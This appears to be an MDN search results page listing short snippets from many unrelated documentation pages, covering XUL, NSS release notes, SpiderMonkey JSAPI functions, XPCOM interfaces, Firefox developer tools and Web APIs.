XUL Parser in Python - Archive of obsolete content
v.00001 to celebrate activestate's recent announcement about support for perl and python in mozilla, i have put together this little python script that parses your local xul and builds a list of all the xul elements and their attributes in an html page.
...again, you can easily use <tt>ls</tt> instead, as i should have done, and pick up some extra support.
... i will make these adjustments and change it into a real module when i get a second, so that someone can instantiate the parser from their own scripts and use it more flexibly: >>> import xultool >>> myxp = xulparser() >>> chrome_dir = 'd:\src\mozilla\xpfe' >>> res = myxp.parsexul(chrome_dir, 'window', 'id') where something like the above would write out all the xul window ids in the build.
...And 7 more matches
2D collision detection - Game development
algorithms to detect collision in 2d games depend on the type of shapes that can collide (e.g.
...green means collision, blue means no collision.</p> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"></script> crafty.init(200, 200); var dim1 = {x: 5, y: 5, w: 50, h: 50} var dim2 = {x: 20, y: 10, w: 60, h: 40} var rect1 = crafty.e("2d, canvas, color").attr(dim1).color("red"); var rect2 = crafty.e("2d, canvas, color, keyboard, fourway").fourway(2).attr(dim2).color("blue"); rect2.bind("enterframe", function () { if (rect1.x < rect2.x + rect2.w && rect1.x + rect1.w > rect2.x && rect1.y < rect2.y + rect2.h && rect1.h + rect1.y > rect2.y) { // collision detected!
... this.color("green"); } else { // no collision this.color("blue"); } }); note: another example without canvas or external libraries.
...And 7 more matches
Implementing game control mechanisms - Game development
in this series of articles we will show you how you can approach building a game that can be played using touchscreen smartphones, mouse and keyboard, and also less common mechanisms such as gamepads.
... case study we'll be using the captain rogers: battle at andromeda demo as an example.
... captain rogers was created using the phaser framework, the most popular tool for simple 2d game development in javascript right now, but it should be fairly easy to reuse the knowledge contained within these articles when building games in pure javascript or any other framework.
...And 7 more matches
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
when used in conjunction with xpointer (firefox supports a subset of it, and is used in the code sample below), xinclude can also target just specific portions of a document for inclusion.
...nclude', 'include'); if (xincludes) { for (i=0; i < xincludes.length; i++) { var xinclude = xincludes[i]; var href = xinclude.getattribute('href'); var parse = xinclude.getattribute('parse'); var xpointer = xinclude.getattribute('xpointer'); var encoding = xinclude.getattribute('encoding'); // e.g., utf-8 // "text/xml or application/xml or matches text/*+xml or application/*+xml" before encoding (then utf-8) var accept = xinclude.getattribute('accept'); // header "accept: "+x var acceptlanguage = xinclude.getattribute('accept-language'); // "accept-language: "+x var xifallback = xinclude.getelementsbytagnamens('http://www.w3.org/2001/xinclude', 'fallback')[0]; // only one such child is...
...rse is "xml"'); return false; } } else if (href.match(/#$/, '') || href.match(/^#/, '')) { alert('fragment identifiers are disallowed in an xinclude "href" attribute'); return false; } var j; var xincludeparent = xinclude.parentnode; try { netscape.security.privilegemanager.enableprivilege('universalxpconnect universalbrowserread'); // necessary with file:///-located files trying to reach external sites if (href !== null) { var response, responsetype; var request = new xmlhttprequest(); request.open('get', href, false); request.setrequestheader...
...And 7 more matches
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
even if safe methods have a read-only semantic, servers can alter their state: e.g.
... they can log or keep statistics.
... what is important here is that by calling a safe method, the client doesn't request any server change itself, and therefore won't create an unnecessary load or burden for the server.
...And 7 more matches
Learn to style HTML using CSS - Learn web development
cascading stylesheets — or css — is the first technology you should start learning after html.
...for example, you can use css to alter the font, color, size, and spacing of your content, split it into multiple columns, or add animations and other decorative features.
...this is because html is far more interesting and much more fun to learn when you apply css, and you can't really learn css without knowing html.
...And 7 more matches
Test your skills: Other controls - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... associate it semantically with the provided "comment" label.
... associate it semantically with the provided "comment" label.
...And 7 more matches
Using data attributes - Learn web development
just use data attributes for that: <article id="electric-cars" data-columns="3" data-index-number="12314" data-parent="cars"> ...
...you could use getattribute() with their full html name to read them, but the standard defines a simpler way: a domstringmap you can read out via a dataset property.
... to get a data attribute through the dataset object, get the property by the part of the attribute name after data- (note that dashes are converted to camelcase).
...And 7 more matches
Test your skills: Advanced HTML text - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... advanced html text 2 in this task we want you to add some semantics to the provided html as follows: turn the second paragraph into a block-level quote, and semantically indicate that the quote is taken from accessibility.
... semantically mark up "html" and "css" as acronyms, providing expansions as tooltips.
...And 7 more matches
Test your skills: HTML images - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
...the image is called blueberries.jpg, and it is in a folder inside the current folder called images.
... add some alternative text to an appropriate attribute to describe the image, for people that cannot see it.
...And 7 more matches
Test your skills: Conditionals - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
... conditionals 2 for this task you are given three variables: machineactive — contains an indicator of whether the answer machine is switched on or not (true/false) score — contains your score in an imaginary game.
...And 7 more matches
Test your skills: Functions - Learn web development
note: you can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks.
... note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
... functions 2 for our second functions-related task, you need to create a function that draws a rectangle on the provided <canvas> (reference variable canvas, context available in ctx), based on the five provided input variables: x — the x coordinate of the rectangle.
...And 7 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
because we need access to our service from the footer component, we need to generate a class for the footer.
... however, if you try to click the "clear completed" button now, it won't appear to do anything, because there is currently no way to "complete" a todo.
...the "todos left" indicator always says "x todos left", even when there is only one todo left, which is bad grammar!
...And 7 more matches
Ember resources and troubleshooting - Learn web development
previous overview: client-side javascript frameworks next our final ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information.
... further resources ember.js guides tutorial: super rentals ember.js api documentation ember.js discord server — a forum/chat server where you can meet the ember community, ask for help, and help others!
... general troubleshooting, gotchas, and misconceptions this is nowhere near an extensive list, but it is a list of things that came up around the time of writing (latest update, may 2020).
...And 7 more matches
Rendering a list of Vue components - Learn web development
while we'll eventually add a mechanism to add new todo items, we can start with some mock to do items.
... export default { name: 'app', components: { todoitem }, data() { return { todoitems: [ { label: 'learn vue', done: false }, { label: 'create a vue project with the cli', done: true }, { label: 'have fun', done: true }, { label: 'create a to-do list', done: false } ] }; } }; now that we have a list of items, we can use the v-for directive to display them.
...in case of v-for, you use a special syntax similar to a for...in loop in javascript — v-for="item in items" — where items is the array you want to iterate over, and item is a reference to the current element in the array.
...And 7 more matches
Learn web development
if you are a complete beginner, web development can be challenging — we will hold your hand and provide enough detail for you to feel comfortable and learn the topics properly.
... get started where to start complete beginner: if you are a complete beginner to web development, we'd recommend that you start by working through our getting started with the web module, which provides a practical introduction to web development.
... getting started with the web provides a practical introduction to web development for complete beginners.
...And 7 more matches
omni.ja (formerly omni.jar)
firefox and thunderbird achieve performance improvements by moving many of their internal parts from being standalone files or sets of jar files into just one jar file called omni.ja; this reduces the amount of i/o needed to load the application.
... note: starting with firefox 10 and thunderbird 10, the file extension .ja is used because windows system restore does not back up files with the .jar extension, but it does back up .ja files.
... several unzip tools and archives (except for the latest version of 7-zip) currently cannot read omni.ja, due to the optimization that is applied to the file.
...And 7 more matches
mozbrowserusernameandpasswordrequired
the mozbrowserusernameandpasswordrequired event is fired when the content within a browser <iframe> requires an http authentification.
... the embedder is supposed to retrieve the necessary credentials, usually using a dialog or a database of username/passwords, and then call authenticate() or cancel() as appropriate.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
...And 7 more matches
IPDL Best Practices
this one is easy to miss, as the corresponding recv__delete__ function has a stub implementation automatically generated in the base class.
... simply calling delete on a pointer to an actor is not enough.
...reference counting protocol actors is tricky here is the easiest way to get it right the first time (lessons learned from the http channel and geolocation protocols): allocpprotocol calls addref deallocpprotocol calls release this ensures that the actor will not disappear from under ipdl, and that you won't get bizarre crashes at other times if ipdl deletes the protocol tree.
...And 7 more matches
DownloadSummary
a reference to a downloadsummary object can be obtained using the downloads.getsummary() function.
... method overview promise bindtolist(downloadlist alist); promise addview(object aview); promise removeview(object aview); properties attribute type description allhavestopped read only boolean indicates whether all the downloads are currently stopped.
... progresstotalbytes read only number indicates the total number of bytes to be transferred before completing all the downloads that are currently in progress.
...And 7 more matches
DownloadTarget
method overview promise refresh() properties attribute type description exists read only boolean indicates whether or not the target file exists.
... this is a dynamic property, which is updated when the download is completed or when the download.refresh() method is called.
... you can use this instead of using file system calls to check for the existence of the file in order to reduce io overhead.
...And 7 more matches
FileUtils.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/fileutils.jsm"); the file constructor if you have a path to a file (or directory) you want to obtain an nsifile for, you can do so using the file constructor, like this: var f = new fileutils.file(mypath); method overview nsifile getfile(string key, array patharray, bool followlinks); nsifile getdir(string key, array patharray, bool shouldcreate, bool followlinks); nsifileoutputstream openfileoutputstream(nsifile file, int modeflags); nsifileoutputstream openatomicfileoutputstream(nsifile file, int modeflags); nsifileoutpu...
...tants constant value description mode_rdonly 0x01 corresponds to the pr_rdonly parameter to pr_open mode_wronly 0x02 corresponds to the pr_wronly parameter to pr_open mode_create 0x08 corresponds to the pr_create_file parameter to pr_open mode_append 0x10 corresponds to the pr_append parameter to pr_open mode_truncate 0x20 corresponds to the pr_truncate parameter to pr_open perms_file 0644 default permissions when creating files.
... nsifile getfile( string key, array patharray, bool followlinks ); parameters key the nsidirectoryservice key to start from (see getting special files for more info) patharray an array of path components to locate beneath the directory specified by key.
...And 7 more matches
Basics
you can view its source.
... however, mathml documents tend to be verbose and you might get lost trying to locate a mathml fragment with the usual view source.
...you can right-click on any math fragment of interest throughout this document.
...And 7 more matches
MathML Demo: <mtable> - tables and matrices
this is the baseline external vertical align is center ---...
... external vertical align is axis ---...
... external vertical align is top ---...
...And 7 more matches
NSS 3.12.6 release notes
new in nss 3.12.6 ssl3 & tls renegotiation indication extension (rfc 5746) by default, nss 3.12.6 uses the new tls renegotiation indication extension for tls renegotiation but allows simple ssl/tls connections (without renegotiation) with peers that don't support the tls renegotiation indication extension.
... the behavior of nss for renegotiation can be changed through api function calls, or with the following environment variables: nss_ssl_enable_renegotiation values: [0|n|n]: ssl_renegotiate_never never allow renegotiation - that was the default for 3.12.5 release.
... nss_ssl_require_safe_negotiation values: 1: requiresafenegotiation = true unset: requiresafenegotiation = false controls whether safe renegotiation indication is required for initial handshake.
...And 7 more matches
NSS 3.15 release notes
nss 3.15 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_rtm/src/ new in nss 3.15 new functionality support for ocsp stapling (rfc 6066, certificate status request) has been added for both client and server sockets.
... tls client applications may enable this via a call to ssl_optionsetdefault(ssl_enable_ocsp_stapling, pr_true); added function secitem_reallocitemv2.
... in secitem.h secitem_allocarray secitem_duparray secitem_freearray secitem_zfreearray - utility functions to handle the allocation and deallocation of secitemarrays secitem_reallocitemv2 - replaces secitem_reallocitem, which is now obsolete.
...And 7 more matches
NSS 3.25 release notes
nss 3.25 requires netscape portable runtime (nspr) 4.12 or newer.
... nss 3.25 source distributions are available on ftp.mozilla.org for secure https download at the following location.
... removed the limitation that allowed nss to only support certificate_verify messages that used the same signature hash algorithm as the prf when using tls 1.2 client authentication.
...And 7 more matches
NSS 3.39 release notes
nss will use rsa-pss keys to authenticate in tls.
... support for these keys is disabled by default but can be enabled using ssl_signatureschemeprefset().
... added the nss-policy-check utility, which can be used to check an nss policy configuration for problems.
...And 7 more matches
NSS tools : cmsutil
-o create a certificates-only message.
...arguments option arguments modify an action and are lowercase.
...-d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message.
...And 7 more matches
NSS tools : cmsutil
MozillaProjectsNSStoolscmsutil
-o create a certificates-only message.
... arguments option arguments modify an action and are lowercase.
... -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message.
...And 7 more matches
Performance Hints
not only is it good programming practice, it can speed up your code by allowing the compiler to generate special code to access the variables.
... for example, you could rewrite function sum(a) { result = 0; for (i=0; i < a.length; i++) result += a[i]; return result; } as function sum(a) { var result = 0; for (var i=0; i < a.length; i++) result += a[i]; return result; } this is not equivalent code because the second version does not modify global variables result and i.
... however, if you don't intend for any other function to access these variables, then storing them globally is probably wrong anyway (what if you called another function that had a loop like the one in sum!).
...And 7 more matches
JS::Add*Root
in a js_threadsafe build, the caller must be in a request on this jscontext.
...(for example, it must not be an uninitialized local variable.
... that could cause sporadic crashes during garbage collection, which can be hard to debug.) the variable must remain in memory until the balancing call to js::remove*root.
...And 7 more matches
JSObjectPrincipalsFinder
jsobjectprincipalsfinder is the type of a security callback that can be configured using js_setobjectprincipalsfinderjsapi 1.8 and earlier or js_setruntimesecuritycallbacksadded in spidermonkey 1.8.1.
... callback syntax typedef jsprincipals * (* jsobjectprincipalsfinder)(jscontext *cx, jsobject *obj); name type description cx jscontext * the context in which to find principals.
... description the javascript engine calls this callback to obtain principals for a jsprincipals.subsume check.
...And 7 more matches
JS_AddExternalStringFinalizer
syntax int js_addexternalstringfinalizer(jsstringfinalizeop finalizer); name type description finalizer jsstringfinalizeop pointer to a callback function, described below.
... the js engine will automatically call this function each time a string created by js_newexternalstring is garbage-collected.
... callback syntax typedef void (*jsstringfinalizeop)(jscontext *cx, jsstring *str); name type description cx jscontext * pointer to a jscontext which the finalizer may use for certain very limited operations (not documented).
...And 7 more matches
JS_DefineProperty
in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (only in js_defineucproperty) the length of name, in characters; or (size_t) -1 to indicate that name is null-terminated.
... getter jsnative the property getter callback, which the javascript engine will call each time the property's value is accessed; or null.
...And 7 more matches
JS_DefinePropertyWithTinyId
in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (only in js_defineucpropertywithtinyid) the length of name in characters; or (size_t) -1 to indicate that name is null-terminated.
... tinyid int8 8-bit id to aid in sharing getter and setter callbacks among properties.
...And 7 more matches
JS_GetProperty
in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (in js_getucproperty only) the length of name, in characters; or -1 to indicate that name is null-terminated.
... in the simplest case, js_getproperty stores the value of the property in *vp and returns true.
...And 7 more matches
JS_PreventExtensions
in a js_threadsafe build, the caller must be in a request on this jscontext.
...added in spidermonkey 45 succeeded bool * outparam indicating, on jsapi success, whether the object is now non-extensible.
... before then, js_preventextensions did not accept a succeeded argument; in those cases where *succeeded would be set to false, js_preventextensions would throw a typeerror and return false.
...And 7 more matches
JS_PushArguments
cx also affects the interpretation of format, if js_addargumentformatter has been called.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...on success, *markp receives the internally allocated stack mark which should be passed to js_poparguments.
...And 7 more matches
Property attributes
any object property can have zero or more property attributes set.
... an application can set property attributes when creating a property.
... mxr id search for jsprop_enumerate jsprop_readonly the property's value cannot be set.
...And 7 more matches
SpiderMonkey 1.8.8
these release notes are an incomplete draft and were initially seeded from the 1.8.5 release notes, so lots of the information here isn't actually new to spidermonkey 1.8.8 (nor is it even the case that the version number will be 1.8.8!).
...you can download full source code here: insert-actual-link-when-the-release-happens (md5 checksum: insert-actual-hash-here).
...spidermonkey 1.8.8 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase.
...And 7 more matches
Exploitable crashes
a crash report from your debugger, your os, or mozilla crash-stats can tell you a lot about whether or not a crash is potentially exploitable.
...if you see a hex address such as 0x292c2830 rather than a function name such as nslistboxbodyframe::getrowcount at the top of the stack, a bug has caused the program to transfer control to a "random" part of memory that isn't part of the program.
...this is typically located right above the stack trace.
...And 7 more matches
Components.utils.waiveXrays
waives xray vision for an object, giving the caller a transparent wrapper to the underlying object.
... when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
...however, in some cases it can be too restrictive: for example, if you need to see an expando property on a dom object.
...And 7 more matches
Profiling XPCShell
but sometimes, venkman gives too much noise (because it also profiles chrome code).
... or you might want to have a more reproducible testcase.
... in those cases, an xpcshell script can help.
...And 7 more matches
mozISpellCheckingEngine
extensions can use this interface to check spelling or provide its own spell checker to editors.
... void getdictionarylist([array, size_is(count)] out wstring dictionaries, out pruint32 count); void removedirectory(in nsifile dir); void suggest(in wstring word,[array, size_is(count)] out wstring suggestions, out pruint32 count); attributes attribute type description copyright wstring a string indicating the copyright of the engine.
... when this attribute's value is changed, a "spellcheck-dictionary-update" notification is sent.
...And 7 more matches
mozIStorageBindingParams
the mozistoragebindingparams interface is used to bind values to parameters prior to calling mozistoragestatement.executeasync().
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create mozistoragebindingparams objects by calling the mozistoragebindingparamsarray.newbindingparams().
... void bindbyindex( in unsigned long aindex, in nsivariant avalue ); parameters aindex the zero-based numerical index for the parameter to be bound.
...And 7 more matches
mozIStorageValueArray
long gettypeofindex( in unsigned long aindex ); parameters aindex the zero-based numerical index for the column to get the data from.
... long getint32( in unsigned long aindex ); parameters aindex the zero-based numerical index for the column to get the data from.
... long long getint64( in unsigned long aindex ); parameters aindex the zero-based numerical index for the column to get the data from.
...And 7 more matches
nsIDOMParser
when you create a domparser from a privileged script, you can pass parameters to the constructor, more on that below.
... to create a domparser when the constructor is not available (e.g., from a js xpcom component, a js module, or an xpcshell test), use: var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); // optionally, call parser.init(principal, documenturi, baseuri); principals, document and base uri note: this section covers changes introduced to domparser in gecko 1.9.
...these values are automatically determined as defined below, but if you work with domparser from privileged code, you can override the defaults by providing arguments to the domparser constructor or calling parser.init().
...And 7 more matches
nsIFeedProgressListener
toolkit/components/feeds/public/nsifeedlistener.idlscriptable this interface defines callbacks used during the processing of an rss or atom feed.
... programs using the feed content access api do not have to implement any of these callbacks; they are optional, but allow you to provide feedback during the parsing process.
... changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void handleentry(in nsifeedentry entry, in nsifeedresult result); void handlefeedatfirstentry(in nsifeedresult result); void handlestartfeed(in nsifeedresult result); void reporterror(in astring errortext, in long linenumber, in boolean bozo); methods handleentry() called after each entry or item is processed.
...And 7 more matches
nsIFrameScriptLoader
frame scripts are loaded as soon as loadframescript() is called.
... if this function is called on a chromemessagebroadcaster (for example, a global frame message manager or a window message manager) then: loadframescript() will load the frame script independently into each applicable frame: every open frame in the given window for the window message manager, or every frame in every window for the global message manager if aallowdelayedload is true, then the script will also be loaded into any applicable new frames opened after the loadframescript() call.
... otherwise it will only be loaded into frames that exist at the time of the call.
...And 7 more matches
nsIMemoryMultiReporter
xpcom/base/nsimemoryreporter.idlscriptable reports multiple memory measurements using a callback function that gets called once for each measurement.
... 1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) if you want to gather multiple measurements in a single operation (such as a single traversal of a large data structure), you can use a multi-reporter to do so.
... the callback, which must implement the nsimemorymultireportercallback interface, receives values that match the fields in the nsimemoryreporter object.
...And 7 more matches
nsINavHistoryContainerResultNode
childrenreadonly boolean false if the node's list of children can be modified (by adding or removing children, or rearranging them), or true if the user interface should not allow the list of children to be altered.
...this is false for bookmark folder nodes unless the setfolderreadonly() method has been called to specifically make the folder read-only.
...when closed, attempting to call getchild() or access childcount results in an error.
...And 7 more matches
nsIPrivateBrowsingService
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is deprecated since firefox 20, and will probably be completely removed in firefox 21.
... the browser itself stops caching, and also doesn't record history information.
... in addition, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated.
...And 7 more matches
nsISelection
as a service: var selection = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsiselection); method overview void addrange(in nsidomrange range); void collapse(in nsidomnode parentnode, in long offset); [noscript,notxpcom,nostdcall] boolean collapsed(); void collapsenative(in nsidomnode parentnode, in long offset); native code only!
... iscollapsed boolean indicates if the selection is collapsed() or not.
...when the selection is collapsed(), and the content is focused and editable, the caret will blink there.
...And 7 more matches
nsISocketTransportService
nsisockettransport createtransport(in array<acstring> asockettypes, in autf8string ahost, in long aport, in nsiproxyinfo aproxyinfo); void init(); obsolete since gecko 1.8 void notifywhencanattachsocket(in nsirunnable aevent); native code only!
...in this case, the notifywhencanattachsocket() method should be used.
... note: this function may only be called from an event dispatch on the socket thread.
...And 7 more matches
nsITransaction
this attribute is checked by the transaction manager after the transaction's execute() method is called.
... if the transient state is false, a reference to the transaction is held by the transaction manager so that the transactions' undotransaction() and redotransaction() methods can be called.
... if the transient state is true, the transaction manager returns immediately after the transaction's dotransaction() method is called, no references to the transaction are maintained.
...And 7 more matches
nsIUpdatePrompt
toolkit/mozapps/update/nsiupdateservice.idlscriptable this interface describes an object that can be used to show various update-related notifications to the user.
...if the app.update.silent preference is true or the user interface is already displayed the call will be a no-op.
... showupdatedownloaded() shows a message advising the user that an update has been downloaded, and that the user should restart the application in order to install it.
...And 7 more matches
nsIXULRuntime
xpcom/system/nsixulruntime.idlscriptable provides information about the xul runtime to allow extensions and xul applications to determine information about the xul runtime.
...to get an instance, use: var xulruntime = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime); method overview void invalidatecachesonrestart(); attributes attribute type description accessibilityenabled boolean if true, the accessibility service is running.
... insafemode boolean whether the application was launched in safe mode.
...And 7 more matches
Using Mozilla code in other projects
there are several ways you can use mozilla code in your own project.
... mozilla provides a development platform for desktop applications, called xul, atop which you can build applications.
... various components of the platform, such as the spidermonkey javascript engine, can be used in your own projects without the rest of the platform.
...And 7 more matches
3D view - Firefox Developer Tools
when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
... by clicking and dragging the view, you can rotate and re-orient the 3d presentation of the dom hierarchy of your page to see it from different angles, to better examine its structure.
... off-screen elements become visible, so that you can see where your elements are located in relation to the visible content.
...And 7 more matches
Set a breakpoint - Firefox Developer Tools
there are many different types of breakpoint that can be set in the debugger; this article covers standard (unconditional) breakpoints and conditional breakpoints.
... breakpoints in brief breakpoints are very useful when debugging javascript — you basically set a point in your code where you would like execution of the code to pause.
... at this point you can do useful things like studying the value of different variables at that point, allowing you to work out why a problem is occurring.
...And 7 more matches
Basic operations - Firefox Developer Tools
taking a heap snapshot to take a snapshot of the heap, click the "take snapshot" button, or the camera icon on the left: the snapshot will occupy the large pane on the right-hand side.
... on the left, you'll see an entry for the new snapshot, including its timestamp, size, and controls to save or clear this snapshot: clearing a snapshot to remove a snapshot, click the "x" icon: saving and loading snapshots if you close the memory tool, all unsaved snapshots will be discarded.
... to save a snapshot click "save": you'll be prompted for a name and location, and the file will be saved with an .fxsnapshot extension.
...And 7 more matches
Paint Flashing Tool - Firefox Developer Tools
with the help of this tool you can figure out whether your website is causing the browser to repaint more than it needs to.
... because repaints can be performance-intensive operations, eliminating unnecessary repaints can improve your website's responsiveness.
... repainting can be an expensive operation, so the browser tries to minimise the amount of repainting that it needs to do.
...And 7 more matches
Web Console Helpers - Firefox Developer Tools
equivalent to document.queryselector() or calls the $ function in the page, if it exists.
...the resulttype parameter specifies the type of result to return; it can be an xpathresult constant, or a corresponding string: "number", "string", "bool", "node", or "nodes"; if not provided, any_type is used.
...you can supply any of the following: a selector string to be passed to document.queryselector to locate the iframe element the iframe element itself the content window inside the iframe see working with iframes.
...And 7 more matches
AudioWorkletProcessor - Web APIs
constructor the audioworkletprocessor and classes that derive from it cannot be instantiated directly from a user-supplied code.
...the constructor of the deriving class is getting called with an options object, so you can perform a custom initialization procedures — see constructor page for details.
... properties port read only returns a messageport used for bidirectional communication between the processor and the audioworkletnode which it belongs to.
...And 7 more matches
BluetoothCharacteristicProperties - Web APIs
this interface is returned by calling bluetoothremotegattcharacteristic.properties.
... properties authenticatedsignedwritesread only returns a boolean that is true if signed writing to the characteristic value is permitted.
... broadcastread only returns a boolean that is true if the broadcast of the characteristic value is permitted using the server characteristic configuration descriptor.
...And 7 more matches
CDATASection - Web APIs
the cdatasection interface represents a cdata section that can be used within xml to include extended portions of unescaped text.
... the symbols < and & don’t need escaping as they normally do when inside a cdata section.
...]]> for example: <foo>here is a cdata section: <![cdata[ < > & ]]> with all kinds of unescaped text.</foo> the only sequence which is not allowed within a cdata section is the closing sequence of a cdata section itself, ]]>: <![cdata[ ]]> will cause an error ]]> note that cdata sections should not be used within html; they only work in xml.
...And 7 more matches
CSS - Web APIs
WebAPICSS
properties the css interface is a utility interface and no object of this type can be created: only static properties are defined on it.
... methods the css interface is a utility interface and no object of this type can be created: only static methods are defined on it.
... css.supports() returns a boolean indicating if the pair property-value, or the condition, given in parameter is supported.
...And 7 more matches
Using dynamic styling information - Web APIs
initially defined in the dom level 2 style recommendation, these interfaces forms now a specification, css object model (cssom) which aims at superseding it.
... in many cases, and where possible, it really is best practice to dynamically manipulate classes via the classname property since the ultimate appearance of all of the styling hooks can be controlled in a single stylesheet.
... one's javascript code also becomes cleaner since instead of being dedicated to styling details, it can focus on the overall semantics of each section it is creating or manipulating, leaving the precise style details to the stylesheet.
...And 7 more matches
Drawing text - Web APIs
« previousnext » after having seen how to apply styles and colors in the previous chapter, we will now have a look at how to draw text onto the canvas.
... drawing text the canvas rendering context provides two methods to render text: filltext(text, x, y [, maxwidth]) fills a given text at the given (x,y) position.
... function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.font = '48px serif'; ctx.filltext('hello world', 10, 50); } <canvas id="canvas" width="300" height="100"></canvas> draw(); a stroketext example the text is filled using the current strokestyle.
...And 7 more matches
Using channel messaging - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, or two documents via a sharedworker) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
... use cases channel messaging is mainly useful in cases where you've got a social site that embeds capabilities from other sites into its main interface via iframes, such as games, address book, or an audio player with personalized music choices.
...such things are not so easy using conventional web technology, because of the security models the web uses.
...And 7 more matches
CredentialsContainer.get() - Web APIs
this method collects credentials by calling the "collectfromcredentialstore" method for each credential type allowed by the options argument.
... for example: if options.password exists, then the passwordcredential.[[collectfromcredentialstore]] is called.
...calls to it within an <iframe> element will resolve without effect.
...And 7 more matches
EffectTiming.fill - Web APIs
WebAPIEffectTimingfill
syntax var timingproperties = { fill: "none" | "forwards" | "backwards" | "both" | "auto" } value a domstring indicating the fill type to use in order to properly render an affected element when outside the animation's active interval (that is, when it's not actively animating).
...that css looks like this: #box { width: 200px; height: 200px; left: 50px; top: 50px; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: flex; justify-content: center; } all this does is specify the size, border, and color information, as well as indicate that the box should be centered both vertically and horizontally inside its container.
...in this case, we have just two keyframes; the first defines what affect is applied to the element immediately after the animation first begins to play, and the second defines the effect applied to the element in the last moment before it ends.
...And 7 more matches
Element.getElementsByTagName() - Web APIs
the returned list is live, which means it updates itself with the dom tree automatically.
... therefore, there is no need to call element.getelementsbytagname() with the same element and arguments repeatedly if the dom changes in between calls.
... when called on an html element in an html document, getelementsbytagname lower-cases the argument before searching for it.
...And 7 more matches
Element.innerHTML - Web APIs
WebAPIElementinnerHTML
nomodificationallowederror an attempt was made to insert the html into a node whose parent is a document.
... usage notes the innerhtml property can be used to examine the current html source of the page, including any changes that have been made since the page was initially loaded.
... reading the html contents of an element reading innerhtml causes the user agent to serialize the html or xml fragment comprised of the element's descendants.
...And 7 more matches
Event.preventDefault() - Web APIs
the event continues to propagate as usual, unless one of its event listeners calls stoppropagation() or stopimmediatepropagation(), either of which terminates propagation at once.
... as noted below, calling preventdefault() for a non-cancelable event, such as one dispatched via eventtarget.dispatchevent(), without specifying cancelable: true has no effect.
...entdefault()</code> won't let you check this!<br>"; event.preventdefault(); }, false); html <p>please click on the checkbox control.</p> <form> <label for="id-checkbox">checkbox:</label> <input type="checkbox" id="id-checkbox"/> </form> <div id="output-box"></div> result stopping keystrokes from reaching an edit field the following example demonstrates how invalid text input can be stopped from reaching the input field with preventdefault().
...And 7 more matches
EventTarget.dispatchEvent() - Web APIs
the normal event processing rules (including the capturing and optional bubbling phase) also apply to events dispatched manually with dispatchevent().
... syntax cancelled = !target.dispatchevent(event) parameter event is the event object to be dispatched.
... return value the return value is false if event is cancelable and at least one of the event handlers which received event called event.preventdefault().
...And 7 more matches
FileReader - Web APIs
the filereader object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using file or blob objects to specify the file or data to read.
... file objects may be obtained from a filelist object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's datatransfer object, or from the mozgetasfile() api on an htmlcanvaselement.
...it cannot be used to simply read a file by pathname from a file system.
...And 7 more matches
FileSystemFileEntry.createWriter() - Web APIs
the filesystemfileentry interface's method createwriter() returns a filewriter object which can be used to write data into the file represented by the directory entry.
